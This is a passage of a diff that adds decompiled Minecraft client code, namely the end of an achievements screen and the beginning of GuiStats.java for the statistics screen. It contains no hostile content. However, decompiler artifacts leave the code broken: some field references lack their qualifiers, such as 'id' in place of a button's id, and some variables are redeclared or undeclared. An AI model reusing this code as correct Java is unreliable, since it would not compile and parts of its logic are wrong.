+    field_146569_s = (this.field_146567_u = this.field_146565_w = openInventorydisplayColumn * 24 - var3 / 2 - 12);
+    field_146568_t = (this.field_146566_v = this.field_146573_x = openInventorydisplayRow * 24 - var4 / 2);
+  }
+  
+
+
+
+  public void initGui()
+  {
+    mc.getNetHandler().addToSendQueue(new net.minecraft.network.play.client.C16PacketClientStatus(net.minecraft.network.play.client.C16PacketClientStatus.EnumState.REQUEST_STATS));
+    buttonList.clear();
+    buttonList.add(new net.minecraft.client.gui.GuiOptionButton(1, width / 2 + 24, height / 2 + 74, 80, 20, I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (!loadingAchievements)
+    {
+      if (id == 1)
+      {
+        mc.displayGuiScreen(parentScreen);
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (keyCode == mc.gameSettings.keyBindInventory.getKeyCode())
+    {
+      mc.displayGuiScreen(null);
+      mc.setIngameFocus();
+    }
+    else
+    {
+      super.keyTyped(typedChar, keyCode);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    if (loadingAchievements)
+    {
+      drawDefaultBackground();
+      drawCenteredString(fontRendererObj, I18n.format("multiplayer.downloadingStats", new Object[0]), width / 2, height / 2, 16777215);
+      drawCenteredString(fontRendererObj, lanSearchStates[((int)(Minecraft.getSystemTime() / 150L % lanSearchStates.length))], width / 2, height / 2 + fontRendererObj.FONT_HEIGHT * 2, 16777215);
+
+    }
+    else
+    {
+
+      if (Mouse.isButtonDown(0))
+      {
+        int var4 = (width - field_146555_f) / 2;
+        int var5 = (height - field_146557_g) / 2;
+        int var6 = var4 + 8;
+        int var7 = var5 + 17;
+        
+        if (((field_146554_D == 0) || (field_146554_D == 1)) && (mouseX >= var6) && (mouseX < var6 + 224) && (mouseY >= var7) && (mouseY < var7 + 155))
+        {
+          if (field_146554_D == 0)
+          {
+            field_146554_D = 1;
+          }
+          else
+          {
+            field_146567_u -= (mouseX - field_146563_h) * field_146570_r;
+            field_146566_v -= (mouseY - field_146564_i) * field_146570_r;
+            field_146565_w = (this.field_146569_s = field_146567_u);
+            field_146573_x = (this.field_146568_t = field_146566_v);
+          }
+          
+          field_146563_h = mouseX;
+          field_146564_i = mouseY;
+        }
+      }
+      else
+      {
+        field_146554_D = 0;
+      }
+      
+      int var4 = Mouse.getDWheel();
+      float var11 = field_146570_r;
+      
+      if (var4 < 0)
+      {
+        field_146570_r += 0.25F;
+      }
+      else if (var4 > 0)
+      {
+        field_146570_r -= 0.25F;
+      }
+      
+      field_146570_r = MathHelper.clamp_float(field_146570_r, 1.0F, 2.0F);
+      
+      if (field_146570_r != var11)
+      {
+        float var10000 = var11 - field_146570_r;
+        float var12 = var11 * field_146555_f;
+        float var8 = var11 * field_146557_g;
+        float var9 = field_146570_r * field_146555_f;
+        float var10 = field_146570_r * field_146557_g;
+        field_146567_u -= (var9 - var12) * 0.5F;
+        field_146566_v -= (var10 - var8) * 0.5F;
+        field_146565_w = (this.field_146569_s = field_146567_u);
+        field_146573_x = (this.field_146568_t = field_146566_v);
+      }
+      
+      if (field_146565_w < field_146572_y)
+      {
+        field_146565_w = field_146572_y;
+      }
+      
+      if (field_146573_x < field_146571_z)
+      {
+        field_146573_x = field_146571_z;
+      }
+      
+      if (field_146565_w >= field_146559_A)
+      {
+        field_146565_w = (field_146559_A - 1);
+      }
+      
+      if (field_146573_x >= field_146560_B)
+      {
+        field_146573_x = (field_146560_B - 1);
+      }
+      
+      drawDefaultBackground();
+      drawAchievementScreen(mouseX, mouseY, partialTicks);
+      GlStateManager.disableLighting();
+      GlStateManager.disableDepth();
+      drawTitle();
+      GlStateManager.enableLighting();
+      GlStateManager.enableDepth();
+    }
+  }
+  
+  public void doneLoading()
+  {
+    if (loadingAchievements)
+    {
+      loadingAchievements = false;
+    }
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    if (!loadingAchievements)
+    {
+      field_146569_s = field_146567_u;
+      field_146568_t = field_146566_v;
+      double var1 = field_146565_w - field_146567_u;
+      double var3 = field_146573_x - field_146566_v;
+      
+      if (var1 * var1 + var3 * var3 < 4.0D)
+      {
+        field_146567_u += var1;
+        field_146566_v += var3;
+      }
+      else
+      {
+        field_146567_u += var1 * 0.85D;
+        field_146566_v += var3 * 0.85D;
+      }
+    }
+  }
+  
+  protected void drawTitle()
+  {
+    int var1 = (width - field_146555_f) / 2;
+    int var2 = (height - field_146557_g) / 2;
+    fontRendererObj.drawString(I18n.format("gui.achievements", new Object[0]), var1 + 15, var2 + 5, 4210752);
+  }
+  
+  protected void drawAchievementScreen(int p_146552_1_, int p_146552_2_, float p_146552_3_)
+  {
+    int var4 = MathHelper.floor_double(field_146569_s + (field_146567_u - field_146569_s) * p_146552_3_);
+    int var5 = MathHelper.floor_double(field_146568_t + (field_146566_v - field_146568_t) * p_146552_3_);
+    
+    if (var4 < field_146572_y)
+    {
+      var4 = field_146572_y;
+    }
+    
+    if (var5 < field_146571_z)
+    {
+      var5 = field_146571_z;
+    }
+    
+    if (var4 >= field_146559_A)
+    {
+      var4 = field_146559_A - 1;
+    }
+    
+    if (var5 >= field_146560_B)
+    {
+      var5 = field_146560_B - 1;
+    }
+    
+    int var6 = (width - field_146555_f) / 2;
+    int var7 = (height - field_146557_g) / 2;
+    int var8 = var6 + 16;
+    int var9 = var7 + 17;
+    zLevel = 0.0F;
+    GlStateManager.depthFunc(518);
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(var8, var9, -200.0F);
+    GlStateManager.scale(1.0F / field_146570_r, 1.0F / field_146570_r, 0.0F);
+    GlStateManager.func_179098_w();
+    GlStateManager.disableLighting();
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.enableColorMaterial();
+    int var10 = var4 + 288 >> 4;
+    int var11 = var5 + 288 >> 4;
+    int var12 = (var4 + 288) % 16;
+    int var13 = (var5 + 288) % 16;
+    boolean var14 = true;
+    boolean var15 = true;
+    boolean var16 = true;
+    boolean var17 = true;
+    boolean var18 = true;
+    Random var19 = new Random();
+    float var20 = 16.0F / field_146570_r;
+    float var21 = 16.0F / field_146570_r;
+    
+
+
+
+
+    for (int var22 = 0; var22 * var20 - var13 < 155.0F; var22++)
+    {
+      float var23 = 0.6F - (var11 + var22) / 25.0F * 0.3F;
+      GlStateManager.color(var23, var23, var23, 1.0F);
+      
+      for (int var24 = 0; var24 * var21 - var12 < 224.0F; var24++)
+      {
+        var19.setSeed(mc.getSession().getPlayerID().hashCode() + var10 + var24 + (var11 + var22) * 16);
+        int var25 = var19.nextInt(1 + var11 + var22) + (var11 + var22) / 2;
+        TextureAtlasSprite var26 = func_175371_a(Blocks.sand);
+        
+        if ((var25 <= 37) && (var11 + var22 != 35))
+        {
+          if (var25 == 22)
+          {
+            if (var19.nextInt(2) == 0)
+            {
+              var26 = func_175371_a(Blocks.diamond_ore);
+            }
+            else
+            {
+              var26 = func_175371_a(Blocks.redstone_ore);
+            }
+          }
+          else if (var25 == 10)
+          {
+            var26 = func_175371_a(Blocks.iron_ore);
+          }
+          else if (var25 == 8)
+          {
+            var26 = func_175371_a(Blocks.coal_ore);
+          }
+          else if (var25 > 4)
+          {
+            var26 = func_175371_a(Blocks.stone);
+          }
+          else if (var25 > 0)
+          {
+            var26 = func_175371_a(Blocks.dirt);
+          }
+        }
+        else
+        {
+          Block var27 = Blocks.bedrock;
+          var26 = func_175371_a(var27);
+        }
+        
+        mc.getTextureManager().bindTexture(net.minecraft.client.renderer.texture.TextureMap.locationBlocksTexture);
+        func_175175_a(var24 * 16 - var12, var22 * 16 - var13, var26, 16, 16);
+      }
+    }
+    
+    GlStateManager.enableDepth();
+    GlStateManager.depthFunc(515);
+    mc.getTextureManager().bindTexture(field_146561_C);
+    
+
+
+
+    for (var22 = 0; var22 < AchievementList.achievementList.size(); var22++)
+    {
+      Achievement var34 = (Achievement)AchievementList.achievementList.get(var22);
+      
+      if (parentAchievement != null)
+      {
+        int var24 = displayColumn * 24 - var4 + 11;
+        int var25 = displayRow * 24 - var5 + 11;
+        int var37 = parentAchievement.displayColumn * 24 - var4 + 11;
+        int var40 = parentAchievement.displayRow * 24 - var5 + 11;
+        boolean var28 = statFileWriter.hasAchievementUnlocked(var34);
+        boolean var29 = statFileWriter.canUnlockAchievement(var34);
+        int var30 = statFileWriter.func_150874_c(var34);
+        
+        if (var30 <= 4)
+        {
+          int var31 = -16777216;
+          
+          if (var28)
+          {
+            var31 = -6250336;
+          }
+          else if (var29)
+          {
+            var31 = -16711936;
+          }
+          
+          drawHorizontalLine(var24, var37, var25, var31);
+          drawVerticalLine(var37, var25, var40, var31);
+          
+          if (var24 > var37)
+          {
+            drawTexturedModalRect(var24 - 11 - 7, var25 - 5, 114, 234, 7, 11);
+          }
+          else if (var24 < var37)
+          {
+            drawTexturedModalRect(var24 + 11, var25 - 5, 107, 234, 7, 11);
+          }
+          else if (var25 > var40)
+          {
+            drawTexturedModalRect(var24 - 5, var25 - 11 - 7, 96, 234, 11, 7);
+          }
+          else if (var25 < var40)
+          {
+            drawTexturedModalRect(var24 - 5, var25 + 11, 96, 241, 11, 7);
+          }
+        }
+      }
+    }
+    
+    Achievement var33 = null;
+    float var23 = (p_146552_1_ - var8) * field_146570_r;
+    float var35 = (p_146552_2_ - var9) * field_146570_r;
+    RenderHelper.enableGUIStandardItemLighting();
+    GlStateManager.disableLighting();
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.enableColorMaterial();
+    
+
+
+    for (int var25 = 0; var25 < AchievementList.achievementList.size(); var25++)
+    {
+      Achievement var38 = (Achievement)AchievementList.achievementList.get(var25);
+      int var40 = displayColumn * 24 - var4;
+      int var41 = displayRow * 24 - var5;
+      
+      if ((var40 >= -24) && (var41 >= -24) && (var40 <= 224.0F * field_146570_r) && (var41 <= 155.0F * field_146570_r))
+      {
+        int var42 = statFileWriter.func_150874_c(var38);
+        
+        float var43;
+        if (statFileWriter.hasAchievementUnlocked(var38))
+        {
+          float var43 = 0.75F;
+          GlStateManager.color(var43, var43, var43, 1.0F);
+        }
+        else if (statFileWriter.canUnlockAchievement(var38))
+        {
+          float var43 = 1.0F;
+          GlStateManager.color(var43, var43, var43, 1.0F);
+        }
+        else if (var42 < 3)
+        {
+          float var43 = 0.3F;
+          GlStateManager.color(var43, var43, var43, 1.0F);
+        }
+        else if (var42 == 3)
+        {
+          float var43 = 0.2F;
+          GlStateManager.color(var43, var43, var43, 1.0F);
+        }
+        else
+        {
+          if (var42 != 4) {
+            continue;
+          }
+          
+
+          var43 = 0.1F;
+          GlStateManager.color(var43, var43, var43, 1.0F);
+        }
+        
+        mc.getTextureManager().bindTexture(field_146561_C);
+        
+        if (var38.getSpecial())
+        {
+          drawTexturedModalRect(var40 - 2, var41 - 2, 26, 202, 26, 26);
+        }
+        else
+        {
+          drawTexturedModalRect(var40 - 2, var41 - 2, 0, 202, 26, 26);
+        }
+        
+        if (!statFileWriter.canUnlockAchievement(var38))
+        {
+          var43 = 0.1F;
+          GlStateManager.color(var43, var43, var43, 1.0F);
+          itemRender.func_175039_a(false);
+        }
+        
+        GlStateManager.enableLighting();
+        GlStateManager.enableCull();
+        itemRender.func_180450_b(theItemStack, var40 + 3, var41 + 3);
+        GlStateManager.blendFunc(770, 771);
+        GlStateManager.disableLighting();
+        
+        if (!statFileWriter.canUnlockAchievement(var38))
+        {
+          itemRender.func_175039_a(true);
+        }
+        
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        
+        if ((var23 >= var40) && (var23 <= var40 + 22) && (var35 >= var41) && (var35 <= var41 + 22))
+        {
+          var33 = var38;
+        }
+      }
+    }
+    
+    GlStateManager.disableDepth();
+    GlStateManager.enableBlend();
+    GlStateManager.popMatrix();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_146561_C);
+    drawTexturedModalRect(var6, var7, 0, 0, field_146555_f, field_146557_g);
+    zLevel = 0.0F;
+    GlStateManager.depthFunc(515);
+    GlStateManager.disableDepth();
+    GlStateManager.func_179098_w();
+    super.drawScreen(p_146552_1_, p_146552_2_, p_146552_3_);
+    
+    if (var33 != null)
+    {
+      String var36 = var33.getStatName().getUnformattedText();
+      String var39 = var33.getDescription();
+      int var40 = p_146552_1_ + 12;
+      int var41 = p_146552_2_ - 4;
+      int var42 = statFileWriter.func_150874_c(var33);
+      
+      if (statFileWriter.canUnlockAchievement(var33))
+      {
+        int var30 = Math.max(fontRendererObj.getStringWidth(var36), 120);
+        int var31 = fontRendererObj.splitStringWidth(var39, var30);
+        
+        if (statFileWriter.hasAchievementUnlocked(var33))
+        {
+          var31 += 12;
+        }
+        
+        drawGradientRect(var40 - 3, var41 - 3, var40 + var30 + 3, var41 + var31 + 3 + 12, -1073741824, -1073741824);
+        fontRendererObj.drawSplitString(var39, var40, var41 + 12, var30, -6250336);
+        
+        if (statFileWriter.hasAchievementUnlocked(var33))
+        {
+          fontRendererObj.drawStringWithShadow(I18n.format("achievement.taken", new Object[0]), var40, var41 + var31 + 4, -7302913);
+
+
+        }
+        
+
+
+      }
+      else if (var42 == 3)
+      {
+        var36 = I18n.format("achievement.unknown", new Object[0]);
+        int var30 = Math.max(fontRendererObj.getStringWidth(var36), 120);
+        String var44 = new ChatComponentTranslation("achievement.requires", new Object[] { parentAchievement.getStatName() }).getUnformattedText();
+        int var32 = fontRendererObj.splitStringWidth(var44, var30);
+        drawGradientRect(var40 - 3, var41 - 3, var40 + var30 + 3, var41 + var32 + 12 + 3, -1073741824, -1073741824);
+        fontRendererObj.drawSplitString(var44, var40, var41 + 12, var30, -9416624);
+      }
+      else if (var42 < 3)
+      {
+        int var30 = Math.max(fontRendererObj.getStringWidth(var36), 120);
+        String var44 = new ChatComponentTranslation("achievement.requires", new Object[] { parentAchievement.getStatName() }).getUnformattedText();
+        int var32 = fontRendererObj.splitStringWidth(var44, var30);
+        drawGradientRect(var40 - 3, var41 - 3, var40 + var30 + 3, var41 + var32 + 12 + 3, -1073741824, -1073741824);
+        fontRendererObj.drawSplitString(var44, var40, var41 + 12, var30, -9416624);
+      }
+      else
+      {
+        var36 = null;
+      }
+      
+
+      if (var36 != null)
+      {
+        fontRendererObj.drawStringWithShadow(var36, var40, var41, var33.getSpecial() ? -8355776 : statFileWriter.canUnlockAchievement(var33) ? -1 : var33.getSpecial() ? -128 : -8355712);
+      }
+    }
+    
+    GlStateManager.enableDepth();
+    GlStateManager.enableLighting();
+    RenderHelper.disableStandardItemLighting();
+  }
+  
+  private TextureAtlasSprite func_175371_a(Block p_175371_1_)
+  {
+    return Minecraft.getMinecraft().getBlockRendererDispatcher().func_175023_a().func_178122_a(p_175371_1_.getDefaultState());
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return !loadingAchievements;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/achievement/GuiStats.java b/src/minecraft/net/minecraft/client/gui/achievement/GuiStats.java
new file mode 100644
index 0000000..c987627
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/achievement/GuiStats.java
@@ -0,0 +1,842 @@
+package net.minecraft.client.gui.achievement;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiSlot;
+import net.minecraft.client.gui.IProgressMeter;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityList.EntityEggInfo;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.play.client.C16PacketClientStatus.EnumState;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatCrafting;
+import net.minecraft.stats.StatFileWriter;
+import net.minecraft.stats.StatList;
+
+public class GuiStats extends GuiScreen implements IProgressMeter
+{
+  protected GuiScreen parentScreen;
+  protected String screenTitle = "Select world";
+  
+  private StatsGeneral generalStats;
+  
+  private StatsItem itemStats;
+  private StatsBlock blockStats;
+  private StatsMobsList mobStats;
+  private StatFileWriter field_146546_t;
+  private GuiSlot displaySlot;
+  private boolean doesGuiPauseGame = true;
+  private static final String __OBFID = "CL_00000723";
+  
+  public GuiStats(GuiScreen p_i1071_1_, StatFileWriter p_i1071_2_)
+  {
+    parentScreen = p_i1071_1_;
+    field_146546_t = p_i1071_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    screenTitle = I18n.format("gui.stats", new Object[0]);
+    doesGuiPauseGame = true;
+    mc.getNetHandler().addToSendQueue(new net.minecraft.network.play.client.C16PacketClientStatus(C16PacketClientStatus.EnumState.REQUEST_STATS));
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    
+    if (displaySlot != null)
+    {
+      displaySlot.func_178039_p();
+    }
+  }
+  
+  public void func_175366_f()
+  {
+    generalStats = new StatsGeneral(mc);
+    generalStats.registerScrollButtons(1, 1);
+    itemStats = new StatsItem(mc);
+    itemStats.registerScrollButtons(1, 1);
+    blockStats = new StatsBlock(mc);
+    blockStats.registerScrollButtons(1, 1);
+    mobStats = new StatsMobsList(mc);
+    mobStats.registerScrollButtons(1, 1);
+  }
+  
+  public void createButtons()
+  {
+    buttonList.add(new GuiButton(0, width / 2 + 4, height - 28, 150, 20, I18n.format("gui.done", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 - 160, height - 52, 80, 20, I18n.format("stat.generalButton", new Object[0])));
+    
+    GuiButton var1;
+    
+    buttonList.add(var1 = new GuiButton(2, width / 2 - 80, height - 52, 80, 20, I18n.format("stat.blocksButton", new Object[0])));
+    GuiButton var2; buttonList.add(var2 = new GuiButton(3, width / 2, height - 52, 80, 20, I18n.format("stat.itemsButton", new Object[0])));
+    GuiButton var3; buttonList.add(var3 = new GuiButton(4, width / 2 + 80, height - 52, 80, 20, I18n.format("stat.mobsButton", new Object[0])));
+    
+    if (blockStats.getSize() == 0)
+    {
+      enabled = false;
+    }
+    
+    if (itemStats.getSize() == 0)
+    {
+      enabled = false;
+    }
+    
+    if (mobStats.getSize() == 0)
+    {
+      enabled = false;
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 0)
+      {
+        mc.displayGuiScreen(parentScreen);
+      }
+      else if (id == 1)
+      {
+        displaySlot = generalStats;
+      }
+      else if (id == 3)
+      {
+        displaySlot = itemStats;
+      }
+      else if (id == 2)
+      {
+        displaySlot = blockStats;
+      }
+      else if (id == 4)
+      {
+        displaySlot = mobStats;
+      }
+      else
+      {
+        displaySlot.actionPerformed(button);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    if (doesGuiPauseGame)
+    {
+      drawDefaultBackground();
+      drawCenteredString(fontRendererObj, I18n.format("multiplayer.downloadingStats", new Object[0]), width / 2, height / 2, 16777215);
+      drawCenteredString(fontRendererObj, lanSearchStates[((int)(Minecraft.getSystemTime() / 150L % lanSearchStates.length))], width / 2, height / 2 + fontRendererObj.FONT_HEIGHT * 2, 16777215);
+    }
+    else
+    {
+      displaySlot.drawScreen(mouseX, mouseY, partialTicks);
+      drawCenteredString(fontRendererObj, screenTitle, width / 2, 20, 16777215);
+      super.drawScreen(mouseX, mouseY, partialTicks);
+    }
+  }
+  
+  public void doneLoading()
+  {
+    if (doesGuiPauseGame)
+    {
+      func_175366_f();
+      createButtons();
+      displaySlot = generalStats;
+      doesGuiPauseGame = false;
+    }
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return !doesGuiPauseGame;
+  }
+  
+  private void drawStatsScreen(int p_146521_1_, int p_146521_2_, Item p_146521_3_)
+  {
+    drawButtonBackground(p_146521_1_ + 1, p_146521_2_ + 1);
+    GlStateManager.enableRescaleNormal();
+    RenderHelper.enableGUIStandardItemLighting();
+    itemRender.func_175042_a(new ItemStack(p_146521_3_, 1, 0), p_146521_1_ + 2, p_146521_2_ + 2);
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.disableRescaleNormal();
+  }
+  
+
+
+
+  private void drawButtonBackground(int p_146531_1_, int p_146531_2_)
+  {
+    drawSprite(p_146531_1_, p_146531_2_, 0, 0);
+  }
+  
+
+
+
+  private void drawSprite(int p_146527_1_, int p_146527_2_, int p_146527_3_, int p_146527_4_)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(statIcons);
+    float var5 = 0.0078125F;
+    float var6 = 0.0078125F;
+    boolean var7 = true;
+    boolean var8 = true;
+    Tessellator var9 = Tessellator.getInstance();
+    WorldRenderer var10 = var9.getWorldRenderer();
+    var10.startDrawingQuads();
+    var10.addVertexWithUV(p_146527_1_ + 0, p_146527_2_ + 18, zLevel, (p_146527_3_ + 0) * 0.0078125F, (p_146527_4_ + 18) * 0.0078125F);
+    var10.addVertexWithUV(p_146527_1_ + 18, p_146527_2_ + 18, zLevel, (p_146527_3_ + 18) * 0.0078125F, (p_146527_4_ + 18) * 0.0078125F);
+    var10.addVertexWithUV(p_146527_1_ + 18, p_146527_2_ + 0, zLevel, (p_146527_3_ + 18) * 0.0078125F, (p_146527_4_ + 0) * 0.0078125F);
+    var10.addVertexWithUV(p_146527_1_ + 0, p_146527_2_ + 0, zLevel, (p_146527_3_ + 0) * 0.0078125F, (p_146527_4_ + 0) * 0.0078125F);
+    var9.draw();
+  }
+  
+  abstract class Stats extends GuiSlot
+  {
+    protected int field_148218_l = -1;
+    protected List statsHolder;
+    protected Comparator statSorter;
+    protected int field_148217_o = -1;
+    protected int field_148215_p;
+    private static final String __OBFID = "CL_00000730";
+    
+    protected Stats(Minecraft mcIn)
+    {
+      super(width, height, 32, height - 64, 20);
+      setShowSelectionBox(false);
+      setHasListHeader(true, 20);
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY) {}
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return false;
+    }
+    
+    protected void drawBackground()
+    {
+      drawDefaultBackground();
+    }
+    
+    protected void drawListHeader(int p_148129_1_, int p_148129_2_, Tessellator p_148129_3_)
+    {
+      if (!org.lwjgl.input.Mouse.isButtonDown(0))
+      {
+        field_148218_l = -1;
+      }
+      
+      if (field_148218_l == 0)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 115 - 18, p_148129_2_ + 1, 0, 0);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 115 - 18, p_148129_2_ + 1, 0, 18);
+      }
+      
+      if (field_148218_l == 1)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 165 - 18, p_148129_2_ + 1, 0, 0);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 165 - 18, p_148129_2_ + 1, 0, 18);
+      }
+      
+      if (field_148218_l == 2)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 215 - 18, p_148129_2_ + 1, 0, 0);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 215 - 18, p_148129_2_ + 1, 0, 18);
+      }
+      
+      if (field_148217_o != -1)
+      {
+        short var4 = 79;
+        byte var5 = 18;
+        
+        if (field_148217_o == 1)
+        {
+          var4 = 129;
+        }
+        else if (field_148217_o == 2)
+        {
+          var4 = 179;
+        }
+        
+        if (field_148215_p == 1)
+        {
+          var5 = 36;
+        }
+        
+        GuiStats.this.drawSprite(p_148129_1_ + var4, p_148129_2_ + 1, var5, 0);
+      }
+    }
+    
+    protected void func_148132_a(int p_148132_1_, int p_148132_2_)
+    {
+      field_148218_l = -1;
+      
+      if ((p_148132_1_ >= 79) && (p_148132_1_ < 115))
+      {
+        field_148218_l = 0;
+      }
+      else if ((p_148132_1_ >= 129) && (p_148132_1_ < 165))
+      {
+        field_148218_l = 1;
+      }
+      else if ((p_148132_1_ >= 179) && (p_148132_1_ < 215))
+      {
+        field_148218_l = 2;
+      }
+      
+      if (field_148218_l >= 0)
+      {
+        func_148212_h(field_148218_l);
+        mc.getSoundHandler().playSound(net.minecraft.client.audio.PositionedSoundRecord.createPositionedSoundRecord(new net.minecraft.util.ResourceLocation("gui.button.press"), 1.0F));
+      }
+    }
+    
+    protected final int getSize()
+    {
+      return statsHolder.size();
+    }
+    
+    protected final StatCrafting func_148211_c(int p_148211_1_)
+    {
+      return (StatCrafting)statsHolder.get(p_148211_1_);
+    }
+    
+
+    protected abstract String func_148210_b(int paramInt);
+    
+
+    protected void func_148209_a(StatBase p_148209_1_, int p_148209_2_, int p_148209_3_, boolean p_148209_4_)
+    {
+      if (p_148209_1_ != null)
+      {
+        String var5 = p_148209_1_.func_75968_a(field_146546_t.writeStat(p_148209_1_));
+        drawString(fontRendererObj, var5, p_148209_2_ - fontRendererObj.getStringWidth(var5), p_148209_3_ + 5, p_148209_4_ ? 16777215 : 9474192);
+      }
+      else
+      {
+        String var5 = "-";
+        drawString(fontRendererObj, var5, p_148209_2_ - fontRendererObj.getStringWidth(var5), p_148209_3_ + 5, p_148209_4_ ? 16777215 : 9474192);
+      }
+    }
+    
+    protected void func_148142_b(int p_148142_1_, int p_148142_2_)
+    {
+      if ((p_148142_2_ >= top) && (p_148142_2_ <= bottom))
+      {
+        int var3 = getSlotIndexFromScreenCoords(p_148142_1_, p_148142_2_);
+        int var4 = width / 2 - 92 - 16;
+        
+        if (var3 >= 0)
+        {
+          if ((p_148142_1_ < var4 + 40) || (p_148142_1_ > var4 + 40 + 20))
+          {
+            return;
+          }
+          
+          StatCrafting var5 = func_148211_c(var3);
+          func_148213_a(var5, p_148142_1_, p_148142_2_);
+        }
+        else
+        {
+          String var9 = "";
+          
+          if ((p_148142_1_ >= var4 + 115 - 18) && (p_148142_1_ <= var4 + 115))
+          {
+            var9 = func_148210_b(0);
+          }
+          else if ((p_148142_1_ >= var4 + 165 - 18) && (p_148142_1_ <= var4 + 165))
+          {
+            var9 = func_148210_b(1);
+          }
+          else
+          {
+            if ((p_148142_1_ < var4 + 215 - 18) || (p_148142_1_ > var4 + 215))
+            {
+              return;
+            }
+            
+            var9 = func_148210_b(2);
+          }
+          
+          var9 = I18n.format(var9, new Object[0]).trim();
+          
+          if (var9.length() > 0)
+          {
+            int var6 = p_148142_1_ + 12;
+            int var7 = p_148142_2_ - 12;
+            int var8 = fontRendererObj.getStringWidth(var9);
+            drawGradientRect(var6 - 3, var7 - 3, var6 + var8 + 3, var7 + 8 + 3, -1073741824, -1073741824);
+            fontRendererObj.drawStringWithShadow(var9, var6, var7, -1);
+          }
+        }
+      }
+    }
+    
+    protected void func_148213_a(StatCrafting p_148213_1_, int p_148213_2_, int p_148213_3_)
+    {
+      if (p_148213_1_ != null)
+      {
+        Item var4 = p_148213_1_.func_150959_a();
+        ItemStack var5 = new ItemStack(var4);
+        String var6 = var5.getUnlocalizedName();
+        String var7 = I18n.format(new StringBuilder(String.valueOf(var6)).append(".name").toString(), new Object[0]).trim();
+        
+        if (var7.length() > 0)
+        {
+          int var8 = p_148213_2_ + 12;
+          int var9 = p_148213_3_ - 12;
+          int var10 = fontRendererObj.getStringWidth(var7);
+          drawGradientRect(var8 - 3, var9 - 3, var8 + var10 + 3, var9 + 8 + 3, -1073741824, -1073741824);
+          fontRendererObj.drawStringWithShadow(var7, var8, var9, -1);
+        }
+      }
+    }
+    
+    protected void func_148212_h(int p_148212_1_)
+    {
+      if (p_148212_1_ != field_148217_o)
+      {
+        field_148217_o = p_148212_1_;
+        field_148215_p = -1;
+      }
+      else if (field_148215_p == -1)
+      {
+        field_148215_p = 1;
+      }
+      else
+      {
+        field_148217_o = -1;
+        field_148215_p = 0;
+      }
+      
+      java.util.Collections.sort(statsHolder, statSorter);
+    }
+  }
+  
+  class StatsBlock extends GuiStats.Stats
+  {
+    private static final String __OBFID = "CL_00000724";
+    
+    public StatsBlock(Minecraft mcIn)
+    {
+      super(mcIn);
+      statsHolder = Lists.newArrayList();
+      Iterator var3 = StatList.objectMineStats.iterator();
+      
+      while (var3.hasNext())
+      {
+        StatCrafting var4 = (StatCrafting)var3.next();
+        boolean var5 = false;
+        int var6 = Item.getIdFromItem(var4.func_150959_a());
+        
+        if (field_146546_t.writeStat(var4) > 0)
+        {
+          var5 = true;
+        }
+        else if ((StatList.objectUseStats[var6] != null) && (field_146546_t.writeStat(StatList.objectUseStats[var6]) > 0))
+        {
+          var5 = true;
+        }
+        else if ((StatList.objectCraftStats[var6] != null) && (field_146546_t.writeStat(StatList.objectCraftStats[var6]) > 0))
+        {
+          var5 = true;
+        }
+        
+        if (var5)
+        {
+          statsHolder.add(var4);
+        }
+      }
+      
+      statSorter = new Comparator()
+      {
+        private static final String __OBFID = "CL_00000725";
+        
+        public int compare(StatCrafting p_compare_1_, StatCrafting p_compare_2_) {
+          int var3 = Item.getIdFromItem(p_compare_1_.func_150959_a());
+          int var4 = Item.getIdFromItem(p_compare_2_.func_150959_a());
+          StatBase var5 = null;
+          StatBase var6 = null;
+          
+          if (field_148217_o == 2)
+          {
+            var5 = StatList.mineBlockStatArray[var3];
+            var6 = StatList.mineBlockStatArray[var4];
+          }
+          else if (field_148217_o == 0)
+          {
+            var5 = StatList.objectCraftStats[var3];
